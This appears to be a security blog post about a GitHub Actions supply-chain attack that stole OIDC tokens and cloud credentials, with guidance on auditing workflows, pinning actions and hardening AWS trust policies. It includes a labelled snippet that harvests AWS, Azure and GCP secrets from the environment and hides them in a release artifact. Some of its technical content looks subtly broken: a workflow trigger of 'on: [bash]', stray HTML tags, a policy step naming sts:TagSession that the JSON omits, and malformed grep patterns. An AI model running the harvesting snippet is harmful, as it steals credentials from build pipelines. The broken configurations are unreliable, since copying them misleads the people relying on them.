Listen to this Post
Introduction:
A sophisticated supply chain attack recently targeted GitHub Actions artifacts, exploiting the trust developers place in automated CI/CD pipelines. By injecting malicious code into popular workflow steps, attackers were able to exfiltrate OIDC tokens and cloud provider credentials (AWS, Azure, GCP) from hundreds of repositories. This incident underscores a critical vulnerability in modern DevSecOps: if your build process is compromised, your production cloud infrastructure is next.
Learning Objectives:
- Analyze the mechanics of a GitHub Actions artifact poisoning attack.
- Identify exposed secrets in CI/CD logs and artifacts using open-source tools.
- Implement hardened OIDC (OpenID Connect) configurations to prevent token theft.
- Audit GitHub Actions workflows for malicious or deprecated third-party actions.
You Should Know:
- Anatomy of the Attack: Malicious Artifacts and Exfiltrated Tokens
Attackers targeted the `actions/upload-artifact` and `actions/download-artifact` functionalities. They poisoned a popular, but unmaintained, third-party action that was frequently used in the build chain. Once a developer’s pipeline executed this poisoned action, it scanned the runtime environment for environment variables containingAWS_,AZURE_, or `GCP_` and base64-encoded OIDC tokens. The data was then appended to a seemingly harmless log file or artifact (like a build binary) before being uploaded.
Step‑by‑step guide to simulating the detection of this exfiltration:
1. Inspect Workflow Files: Navigate to a public repository and look for .github/workflows/.yml.
2. Check for Dangerous Patterns: Use `grep` to find insecure practices:
Search for explicit environment variable exposure in logs grep -r "printenv" .github/workflows/ Search for third-party actions not pinned to a specific SHA grep -r "uses: .@main|@master" .github/workflows/
3. Simulate Malicious Extraction: If you control a test environment, you can simulate what the attacker did to understand the risk.
Malicious code snippet (for educational purposes only) This grabs potential AWS keys from the env and hides them in a binary env | grep -E 'AWS|AZURE|GCP' > /tmp/stolen_tokens.txt echo "Compiling binary..." >> /tmp/stolen_tokens.txt Append stolen data to a file that will be uploaded as an artifact cat /tmp/stolen_tokens.txt >> ./release_binary.zip
2. Auditing Your Workflows with `gh` and `jq`
To determine if you are a victim or using vulnerable actions, you must audit all workflows across your organization. GitHub’s CLI tool (gh) combined with `jq` allows for bulk analysis.
Step‑by‑step guide to auditing repositories:
1. Authenticate `gh`:
gh auth login
2. List all workflow files in a repository and check for the vulnerable action:
Replace 'owner/repo' with your target REPO="owner/repo" gh api repos/$REPO/contents/.github/workflows --jq '.[].name' | while read file; do echo "Checking $file..." gh api repos/$REPO/contents/.github/workflows/$file | jq -r '.content' | base64 -d | grep -i "third-party-action-name|upload-artifact" done
3. Pin Actions to SHA (Mitigation): If you find a third-party action, immediately replace the version tag (@v2) with the specific commit SHA to prevent tag hijacking.
Insecure: - uses: actions/upload-artifact@v3 Secure: - uses: actions/upload-artifact@0b7f8abb1508181956e8e162db84b466c27e18ce
3. Hardening OIDC and JWT Token Validation
The attack succeeded because the OIDC tokens issued to the GitHub runner were valid for the cloud provider. We must enforce tighter constraints on how these tokens can be used.
Step‑by‑step guide to configuring AWS IAM for strict OIDC:
1. Modify the Trust Relationship: In the AWS IAM console, locate the role assumed by GitHub Actions.
2. Add `sts:TagSession` and Condition Keys: Ensure the token cannot be used outside the specific intended workflow.
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": "repo:OWNER/REPO:ref:refs/heads/main",
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
This restricts the role to be assumed only from the main branch of a specific repo.
4. Windows Event Logging for Compromised Build Agents
If your organization uses self-hosted Windows runners, the attack surface is larger. An attacker who gains code execution on the runner can dump LSASS or access the Windows Credential Manager.
Step‑by‑step guide to detecting credential dumping on a Windows runner:
1. Enable PowerShell Logging: Via Group Policy or Registry.
Enable Script Block Logging New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
2. Monitor Event ID 4104: This logs every script block executed.
Search for suspicious base64 decoding or memory dumping commands
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 } | Select-Object -Property TimeCreated, Message | Out-String -Stream | Select-String "FromBase64String","MiniDump"
5. Securing Third-Party Actions with Dependency Review
GitHub provides a “Dependency Review” feature that can block pull requests introducing new, vulnerable actions.
Step‑by‑step guide to enabling Dependency Review:
1. Create a workflow file: `.github/workflows/dependency-review.yml`
- Add the following configuration to fail the build if a vulnerable action is detected:
name: 'Dependency Review' on: [bash] jobs: dependency-review: runs-on: ubuntu-latest steps:</li> </ol> - name: 'Checkout Repository' uses: actions/checkout@v3 - name: 'Dependency Review' uses: actions/dependency-review-action@v3 with: fail-on-severity: 'high' Fail if a high severity vulnerability is found in an action allow-licenses: MIT, Apache-2.0
What Undercode Say:
- Shift Left on CI/CD Configuration: This attack proves that Infrastructure as Code (IaC) is not just Terraform and CloudFormation. Your CI/CD YAML files are now the primary attack vector for your cloud. They must be scanned, linted, and signed just like production code.
- The “Actions” Supply Chain is the New Log4j: We have spent years securing dependencies in `package.json` and
requirements.txt, but we ignored the dependencies that build them. Third-party GitHub Actions must be treated as critical third-party libraries. If an action goes unmaintained and gets hijacked, your entire organization’s cloud goes with it.
The attack was not a zero-day in GitHub’s core infrastructure, but a social and process failure. Developers trusted a plugin without verifying its maintenance status, and they failed to lock its version to an immutable SHA. Moving forward, organizations must maintain a private fork or mirror of approved actions and enforce their use via network policies to prevent runners from reaching out to the public marketplace without approval.
Prediction:
We will see a surge in “repo-jacking” attacks where threat actors acquire abandoned, popular GitHub organizations and push malicious updates to existing Actions. Consequently, by Q4 2024, enterprise security teams will begin implementing “private action stores” and network-level egress filtering on self-hosted runners, effectively air-gapping the build process from the public internet to prevent token exfiltration to arbitrary endpoints.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Anthony Coquer – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
